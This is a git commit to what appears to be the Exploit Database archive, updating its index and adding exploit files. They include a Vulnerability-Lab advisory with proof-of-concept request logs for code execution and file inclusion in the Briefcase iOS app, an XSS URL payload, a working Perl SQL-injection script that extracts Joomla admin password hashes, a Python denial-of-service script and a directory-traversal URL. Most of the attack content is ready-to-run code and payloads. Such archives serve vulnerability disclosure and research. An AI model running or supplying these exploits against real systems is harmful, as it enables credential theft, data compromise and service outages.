Updated 09_19_2014

This commit is contained in:
Offensive Security 2014-09-19 04:44:37 +00:00
parent d2e6d5e899
commit fa2af94205
7 changed files with 454 additions and 10 deletions

View file

@ -31168,7 +31168,6 @@ id,file,description,date,author,platform,type,port
34610,platforms/php/webapps/34610.txt,"zenphoto 1.3 zp-core/full-image.php a Parameter SQL Injection",2010-09-07,"Bogdan Calin",php,webapps,0
34611,platforms/php/webapps/34611.txt,"Zenphoto 1.3 zp-core/admin.php Multiple Parameter XSS",2010-09-07,"Bogdan Calin",php,webapps,0
34614,platforms/asp/webapps/34614.txt,"SmarterTools SmarterStats 5.3.3819 'frmHelp.aspx' Cross Site Scripting Vulnerability",2010-09-09,"David Hoyt",asp,webapps,0
34615,platforms/windows/dos/34615.txt,"2K Games Vietcong 2 'CNS_AddTxt()' Format String Vulnerability",2009-08-12,"Luigi Auriemma",windows,dos,0
34616,platforms/php/webapps/34616.txt,"Elkagroup Elkapax 'q' Parameter Cross Site Scripting Vulnerability",2009-08-13,Isfahan,php,webapps,0
34617,platforms/php/webapps/34617.txt,"Waverider Systems Perlshop Multiple Input Validation Vulnerabilities",2009-08-06,Shadow,php,webapps,0
34618,platforms/php/webapps/34618.txt,"Omnistar Recruiting 'resume_register.php' Cross Site Scripting Vulnerability",2009-09-06,MizoZ,php,webapps,0
@ -31212,6 +31211,7 @@ id,file,description,date,author,platform,type,port
34661,platforms/php/webapps/34661.txt,"x10 MP3 Automatic Search Engine 1.6.5b info.php name Parameter XSS",2009-08-29,Moudi,php,webapps,0
34662,platforms/php/webapps/34662.txt,"x10 MP3 Automatic Search Engine 1.6.5b lyrics.php id Parameter XSS",2009-08-29,Moudi,php,webapps,0
34663,platforms/php/webapps/34663.txt,"x10 MP3 Automatic Search Engine 1.6.5b adult/video_listing.php key Parameter XSS",2009-08-29,Moudi,php,webapps,0
34664,platforms/ios/webapps/34664.txt,"Briefcase 4.0 iOS - Code Execution & File Include Vulnerability",2014-09-15,Vulnerability-Lab,ios,webapps,0
34666,platforms/php/webapps/34666.py,"ALCASAR <= 2.8.1 - Remote Root Code Execution Vulnerability",2014-09-15,eF,php,webapps,80
34668,platforms/windows/remote/34668.txt,"Http File Server 2.3.x - Remote Command Execution",2014-09-15,"Daniele Linguaglossa",windows,remote,80
34669,platforms/multiple/remote/34669.rb,"Railo Remote File Include",2014-09-15,metasploit,multiple,remote,80
@ -31226,3 +31226,7 @@ id,file,description,date,author,platform,type,port
34678,platforms/php/webapps/34678.txt,"WebStatCaffe stat/pageviewerschart.php date Parameter XSS",2009-08-29,Moudi,php,webapps,0
34679,platforms/php/webapps/34679.txt,"WebStatCaffe stat/referer.php date Parameter XSS",2009-08-29,Moudi,php,webapps,0
34682,platforms/ios/webapps/34682.txt,"USB&WiFi Flash Drive 1.3 iOS - Code Execution Vulnerability",2014-09-16,Vulnerability-Lab,ios,webapps,8080
34683,platforms/php/webapps/34683.txt,"e-soft24 Article Directory Script 'q' Parameter Cross Site Scripting Vulnerability",2009-08-30,"599eme Man",php,webapps,0
34684,platforms/php/webapps/34684.pl,"Joomla Spain Component 'nv' Parameter SQL Injection Vulnerability",2010-09-20,FL0RiX,php,webapps,0
34685,platforms/windows/remote/34685.py,"Basic Web Server 1.0 Directory Traversal and Denial of Service Vulnerabilities",2010-09-19,"John Leitch",windows,remote,0
34686,platforms/windows/remote/34686.txt,"YelloSoft Pinky 1.0 Directory Traversal Vulnerability",2010-09-16,"John Leitch",windows,remote,0

Can't render this file because it is too large.

357
platforms/ios/webapps/34664.txt Executable file
View file

@ -0,0 +1,357 @@
Document Title:
===============
Briefcase 4.0 iOS - Code Execution & File Include Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1319
Release Date:
=============
2014-09-11
Vulnerability Laboratory ID (VL-ID):
====================================
1319
Common Vulnerability Scoring System:
====================================
9.2
Product & Service Introduction:
===============================
Briefcase v4.0 is an all-in-one document reader and manager for iPhone, iPad and iPod Touch. It can import files from Camera,
Photo Albums, PC/Mac(via Wi-Fi or iTunes), Email attachments, GoogleDrive, Dropbox,SkyDrive,Box and so on. All files are
saved to your deivce locally so you can enjoy reading them anywhere!
( Copy of the Homepage: https://itunes.apple.com/us/app/briefcase-pro-file-manager/id579224808 )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple critical vulnerabilities in the official Briefcase Pro v4.0 iOS mobile web-application.
Vulnerability Disclosure Timeline:
==================================
2014-09-11: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Qiwen Zhang
Product: Briefcase Pro - iOS Mobile Web Application 4.0
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Critical
Technical Details & Description:
================================
1.1
A remote code execution web vulnerability has been discovered in the official Briefcase Pro v4.0 iOS mobile wifi web-application.
The vulnerbaility allows an attacker to compromise the application and connected device by usage of a system specific command execution.
The vulnerability is located in the `Create Folder (Add Folder)` input field. The input field to create folders allows to inject the input
via POST method request. The request validation has only a simple single quote encoding. Remote attackers are easily able to execute code
by usage of a script code payload in combination with system device specific php code values. The execution of the code occurs in the main
index file dir listing context. The attack vector is on application-side and the request method to attack the service is POST.
The remote attacker is able to tamper the create new folder post method request and can intercept the values twice to attach the second
manipulated path value to provoke a code execution. After the add request it is possible to attach to the already included values via create
new folder to execute the code.
The security risk of the remote code execution web vulnerability is estimated as critical with a cvss (common vulnerability scoring system)
count of 9.2. Exploitation of the remote code execution web vulnerability requires no privileged application user account (passwd default blank)
or user interaction. Successful exploitation of the code execution vulnerability results in mobile application compromise and connected or
affected component compromise.
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] Create Folder (Add Folder)
Vulnerable Parameter(s):
[+] name to path id
Affected Module(s):
[+] previewFile.html?id=undefined&name=
1.2
A local file include web vulnerability has been discovered in the official Briefcase Pro v4.0 iOS mobile wifi web-application.
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system
specific path commands to compromise the mobile web-application.
The web vulnerability is located in the `filename` value of the `upload files` module. Remote attackers are able to inject own files
with malicious `filename` values in the `upload files` POST method request to compromise the mobile web-application. The local file/path
include execution occcurs in the path dir index listing context. The attacker is able to inject the local file include request by usage
of the `wifi interface`.
Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute
different local malicious attacks requests. The attack vector is on the application-side of the wifi service and the request method to
inject is POST.
The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system)
count of 6.3. Exploitation of the local file include web vulnerability requires no user interaction but a privileged web-application
user account with low user auth. Successful exploitation of the local file include web vulnerability results in mobile application or
connected device component compromise.
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] Upload Files
Vulnerable Parameter(s):
[+] filename
Affected Module(s):
[+] Index Path Dir Listing (http://localhost/)
Proof of Concept (PoC):
=======================
1.1
The code execution vulnerability in the create folder function can be exploited by remote attackers without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
PoC: Link
http://localhost/previewFile.html?id=undefined&name=%3E[CODE EXECUTION VULNERABILITY!]
PoC: Create Folder (Add Folder)
<div class="file-name-c"><p class="file-name-title">>"<%3E[CODE EXECUTION VULNERABILITY!]"></p><div class="btn-group overlay-actions"><button type="button"
menuType="Starred" fileId="C00D9F05-9C80-4E6D-B922-8BCAB14ACECB" class="btn btn-xs btn-default tblStarred file-unstared">
<span class="glyphicon glyphicon-star"></span> Starred</button><button type="button" menuType="DirectDownload" class="btn btn-xs btn-default tblDownload">
<span class="glyphicon glyphicon-arrow-down"></span> Download</button><button type="button" menuType="Rename" name="Rename" class="btn btn-xs btn-default tblRename">
<span class="glyphicon glyphicon-pencil"></span> Rename</button></div></div><div class="file-info-c pull-right""><label class="file-size-title">0 items</label>
<label class="file-date-title">18:46</label></div></div></iframe></p></div></div></div></div>
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost/folder/add Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Gr??e des Inhalts[375] Mime Type[application/json]
Request Header:
Host[localhost]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
X-Requested-With[XMLHttpRequest]
Referer[http://localhost/]
Content-Length[275]
Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
POST-Daten:
{"header":{"clientId":"23A61067-BF41-4BC4-A69F-DA4348A5D7DC","reqId":"A261102A-AEB3-4DBF-96CC-37BE529E7F65","reqDate":"2014-09-07 18:45:56","action":"AddFolder"},"content":{"amount":1,"data":[{"name":"%3E[CODE EXECUTION VULNERABILITY!]","parent":"PocketBriefcaseRootFolderName"}]}}[]
Response Header:
Accept-Ranges[bytes]
Content-Length[375]
Content-Type[application/json]
Date[Sun, 07 Sep 2014 16:46:41 GMT]
-
Status: 200[OK]
POST http://localhost/files/list Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Gr??e des Inhalts[948] Mime Type[application/json]
Request Header:
Host[localhost]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
X-Requested-With[XMLHttpRequest]
Referer[http://localhost/]
Content-Length[242]
Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
POST-Daten:
{"header":{"clientId":"23A61067-BF41-4BC4-A69F-DA4348A5D7DC","reqId":"884EA3B1-53EB-47D9-8316-FF53A92A6047","reqDate":"2014-09-07 18:45:57","action":"ListFiles"},"content":{"amount":1,"data":[{"id":"vSysAll","filter":"*","isCategory":true}]}}[]
Response Header:
Accept-Ranges[bytes]
Content-Length[948]
Content-Type[application/json]
Date[Sun, 07 Sep 2014 16:46:42 GMT]
-
Status: 200[OK]
GET http://localhost/file/thumbnail/get/C00D9F05-9C80-4E6D-B922-8BCAB14ACECB Load Flags[VALIDATE_NEVER ] Gr??e des Inhalts[717] Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
Accept[image/png,image/*;q=0.8,*/*;q=0.5]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost/]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[717]
Date[Sun, 07 Sep 2014 16:46:42 GMT]
-
Status: 200[OK]
GET http://localhost/%3E[CODE EXECUTION VULNERABILITY!] Load Flags[LOAD_DOCUMENT_URI ] Gr??e des Inhalts[unknown] Mime Type[unknown]
Request Header:
Host[localhost]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost/]
Reference(s):
http://localhost/file/thumbnail/get/
http://localhost/files/list
http://localhost/folder/add
1.2
The local file include web vulnerability in the file upload function can be exploited by local attackers without privileged application user account.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
PoC: Link
http://localhost/files/list/./[LOCAL FILE INCLUDE WEB VULNERABILITY!]
PoC: Filename (Upload Files)
<div class="file-row" createdate="14-09-07 18:42:20" filesize="538" parent="001B0541-AA4D-4072-B833-A3C80BA866E6" filename="./[LOCAL FILE INCLUDE WEB VULNERABILITY!].png" ext="png" isfavourite="0" isfolder="0" fileid="8B4FFDDF-5147-4A63-BA86-ED7E36BAF171"><div class="file-mark-c"><input name="file-check" createdate="14-09-07 18:42:20" filesize="538" parent="001B0541-AA4D-4072-B833-A3C80BA866E6" filename="2.png" ext="png" isfavourite="0" isfolder="0" fileid="8B4FFDDF-5147-4A63-BA86-ED7E36BAF171" class="file-check" type="checkbox"><img src="/file/thumbnail/get/8B4FFDDF-5147-4A63-BA86-ED7E36BAF171" class="file-thumb" alt="thumb"></div><div class="file-name-c"><p class="file-name-title">./[LOCAL FILE INCLUDE WEB VULNERABILITY!].png</p><div class="btn-group overlay-actions"><button type="button" menutype="Starred" fileid="8B4FFDDF-5147-4A63-BA86-ED7E36BAF171" class="btn btn-xs btn-default tblStarred file-unstared"><span class="glyphicon glyphicon-star"></span> Starred</button><button type="button" menutype="DirectDownload" class="btn btn-xs btn-default tblDownload"><span class="glyphicon glyphicon-arrow-down"></span> Download</button><button type="button" menutype="Rename" name="Rename" class="btn btn-xs btn-default tblRename"><span class="glyphicon glyphicon-pencil"></span> Rename</button></div></div><div class="file-info-c pull-right" "=""><label class="file-size-title">538 bytes</label><label class="file-date-title">18:42</label></div></div>
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost/file/add Load Flags[LOAD_BYPASS_CACHE ] Gr??e des Inhalts[322] Mime Type[text/plain]
Request Header:
Host[localhost]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
X-Requested-With[XMLHttpRequest]
Referer[http://localhost/]
Content-Length[991]
Content-Type[multipart/form-data; boundary=---------------------------95791437429485]
Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
POST-Daten:
POST_DATA[-----------------------------95791437429485
Content-Disposition: form-data; name="params"folderId:PocketBriefcaseRootFolderName|clientId:F2B74308-A1C8-4319-AEF6-2698BFD707ED|reqId:9287520A-032B-4DF2-9CD2-4690BD5FB51B|action:AddFile|reqDate:2014-09-07 18:41:19
-----------------------------95791437429485
Content-Disposition: form-data; name="files[]"; filename="./[LOCAL FILE INCLUDE WEB VULNERABILITY!].png"
Content-Type: image/png
-
Status: 200[OK]
POST http://localhost/files/list Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Gr??e des Inhalts[636] Mime Type[application/json]
Request Header:
Host[localhost]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
X-Requested-With[XMLHttpRequest]
Referer[http://localhost/]
Content-Length[242]
Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
POST-Daten:
{"header":{"clientId":"F2B74308-A1C8-4319-AEF6-2698BFD707ED","reqId":"A7DB058B-420B-4467-84E4-D6CBE0FDCB19","reqDate":"2014-09-07 18:41:36","action":"ListFiles"},"content":{"amount":1,"data":[{"id":"vSysAll","filter":"*","isCategory":true}]}}[]
Response Header:
Accept-Ranges[bytes]
Content-Length[636]
Content-Type[application/json]
Date[Sun, 07 Sep 2014 16:42:21 GMT]
Reference(s):
http://localhost/files/list
http://localhost/file/add
Solution - Fix & Patch:
=======================
1.1
Restrict and filter the name of the add folder. Disallow special char usage and prepare to encode the POST method request to add the folder name to the index module.
Encode and filter also the foldername id value in the main item list of the application index.
1.2
The file include web vulnerability can be patched by a secure parse and encode of the filename value. Filter and restrict the filename input.
validate the output names in the main item list of the application index.
Security Risk:
==============
1.1
The security risk of the local code execution web vulnerability is estimated as critical.
1.2
The security risk of the local file include web vulnerability is estimated as high.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
Copyright ? 2014 | Vulnerability Laboratory [Evolution Security]
--
VULNERABILITY LABORATORY RESEARCH TEAM
DOMAIN: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com

View file

@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/43343/info
e-soft24 Article Directory Script is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
e-soft24 Article Directory Script 2.5 is vulnerable; other versions may also be affected.
http://www.example.com/scripts/articledirectory-seo/index.php?q=%27%22%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E%3CMARQUEE+BGCOLOR%3D%22RED%22%3E%3CH1%3EXss%3C%2FH1%3E%3C%2FMARQUEE%3E&page=search

35
platforms/php/webapps/34684.pl Executable file
View file

@ -0,0 +1,35 @@
source: http://www.securityfocus.com/bid/43354/info
The Spain component for Joomla is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
#!/usr/bin/perl -w
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t| Fl0rix | Bug Researchers (c) 2010 |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|Joomla Com_Spain Remote SQL Injection Exploit|\n\n";
print "\t\t| Greetz: EcHoLL,Sakkure And All My Friends |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
use LWP::UserAgent;
print "\nSite ismi Target page:[http://wwww.site.com/path/]: ";
chomp(my $target=<STDIN>);
$florix="concat(username,0x3a,password)";
$sakkure="jos_users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "/index.php?option=com_spain&view=descr&task=home&nv=1/**/AND/**/1=0+UNION+SELECT/**/1,".$florix.",3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from/**/".$sakkure.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "# Tebrikler Bro Exploit Calisti! #\n\n";
}
else{print "\n[-] Malesef Bro Exploit Calismadi...\n";
}

View file

@ -1,9 +0,0 @@
source: http://www.securityfocus.com/bid/43129/info
2K Games Vietcong 2 is prone to a format-string vulnerability because it fails to properly sanitize user-supplied data.
Exploiting this issue will allow an attacker to execute arbitrary code in the context of the application, or cause denial-of-service conditions.
2K Games Vietcong 2 1.10 and prior are vulnerable.
http://www.exploit-db.com/sploits/34615.zip

View file

@ -0,0 +1,39 @@
source: http://www.securityfocus.com/bid/43356/info
Basic Web Server is prone to a directory-traversal vulnerability and a denial-of-service vulnerability.
Exploiting these issues will allow attackers to obtain sensitive information or cause denial-of-service conditions.
Basic Web Server 1.0 is vulnerable; other versions may also be affected.
http://www.example.com/?../../../../../../../../../../windows/win.
import socket
host = 'localhost'
port = 80
include_file = True
complete_path = True
try:
for i in range(0, 1024):
for x in range(0, 8):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(2)
s.send('GET http:/// HTTP/1.1\r\n'
'Host: ' + host + '\r\n\r\n')
print '.',
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(2)
s.send('GET / HTTP/1.1\r\n'
'Host: ' + host + '\r\n\r\n')
s.recv(8192)
print 'response received'
except:
print 'error contacting server'

View file

@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/43358/info
Pinky is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.
Exploiting this issue will allow an attacker to read files outside the webroot directory. Information harvested may aid in launching further attacks.
Pinky 1.0 is vulnerable; other versions may also be affected.
http://www.example.com/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../windows/win.ini